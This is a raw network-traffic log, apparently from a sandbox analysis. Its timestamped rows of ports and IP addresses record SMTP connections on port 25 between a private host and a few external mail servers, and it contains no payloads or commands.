Jan 7, 2022 15:44:10.944436073 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944463968 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944511890 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944535017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944539070 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944612026 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944725037 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944797993 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944833994 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944895983 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944911957 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.944967985 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:10.944974899 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:10.945044994 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.045753956 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.045799017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.045825005 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.045851946 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.045891047 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.045975924 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.046005964 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.046030998 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100383043 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100429058 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100457907 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100513935 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100518942 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100568056 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100589037 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100605965 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100678921 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100758076 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100791931 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100886106 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.100903034 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100975037 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.100999117 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101068974 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101248980 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101279020 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101341009 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101367950 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101391077 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101464033 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101564884 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101679087 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101696968 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101706982 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101777077 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101778984 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.101813078 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101867914 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.101973057 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102076054 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102082968 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102179050 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102195024 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102299929 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102304935 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102428913 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102510929 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102598906 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102608919 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102683067 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102751017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102777004 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.102857113 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102881908 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.102969885 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103053093 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103080988 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103164911 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103193045 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103269100 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103302002 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103398085 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103423119 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103452921 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103507996 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103532076 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103568077 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103594065 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103646994 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103662014 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103672028 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103744984 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103854895 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103883028 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.103951931 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.103984118 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104034901 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104062080 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104089022 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104115963 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104146957 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104165077 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104240894 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104366064 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104393005 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104423046 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104481936 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104504108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104515076 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104532003 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104557037 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104604006 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104621887 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104657888 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104748011 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104775906 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104803085 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.104836941 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104877949 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104893923 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.104970932 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105000019 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105087042 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105108976 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105109930 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105135918 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105192900 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105204105 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105220079 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105294943 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105355024 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105475903 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105479956 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105504990 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105581045 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105608940 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105658054 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105834961 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105905056 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105931997 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105957985 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.105967999 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.105986118 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106015921 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106143951 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106167078 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106178045 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106199026 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106210947 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106240034 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106254101 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106268883 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106318951 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106384993 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106419086 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106443882 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106471062 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106494904 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106523037 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106549025 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.106583118 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.106673956 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.204236031 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204287052 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204315901 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204343081 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204348087 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.204370022 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204396963 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.204397917 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204405069 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.204420090 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204437017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204454899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204555035 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204581976 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204610109 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204637051 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204662085 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204688072 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.204760075 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.220361948 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.222886086 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.223046064 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:11.225610971 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.258676052 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.258719921 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.258825064 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.258979082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259102106 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259131908 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259279966 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259385109 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259412050 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259439945 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259465933 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259494066 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259519100 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259545088 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259572029 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259597063 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259624958 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259653091 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259792089 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259818077 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259845018 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.259993076 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260020971 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260046005 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260072947 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260145903 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260174990 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260277987 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260303974 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260387897 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260416031 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260447025 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260492086 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260603905 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260759115 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260783911 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260811090 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260838032 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.260891914 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261006117 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261030912 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261058092 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261178970 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261207104 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261231899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261257887 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261284113 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261353016 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261379004 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261585951 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261619091 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261646986 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261827946 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261854887 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261949062 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.261977911 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262003899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262178898 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262207985 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262233019 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262326956 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262356997 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262542963 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262571096 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262588978 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262614965 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262640953 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262666941 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262692928 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262753010 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.262769938 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262784004 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.262842894 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.262914896 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.262988091 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263009071 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263037920 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263062000 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263075113 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263108969 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263138056 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263173103 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263200998 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263240099 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263293982 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263314009 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263432026 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263465881 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263470888 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263492107 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263510942 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263520956 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263535976 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263566971 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263592005 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263712883 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263740063 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263766050 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263803959 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263829947 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263837099 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263865948 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263871908 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263890982 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263900995 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263916969 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263923883 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263946056 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.263964891 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.263988972 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264014959 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264017105 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264141083 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264177084 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264250994 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264290094 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264317036 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264364004 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264385939 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264403105 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264456034 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264470100 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264484882 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264513969 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264534950 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264563084 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264584064 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264605999 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264655113 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264691114 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264763117 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264844894 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264933109 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264936924 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.264959097 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264977932 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.264996052 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265022039 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265047073 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265115976 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265144110 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265202045 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265233040 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265253067 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265281916 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265283108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265302896 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265309095 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265320063 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265336990 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265364885 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265366077 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265377998 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265392065 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265419006 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265434027 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265448093 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265460968 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265474081 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265501976 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.265561104 CET	50017	25	192.168.2.6	173.228.157.39
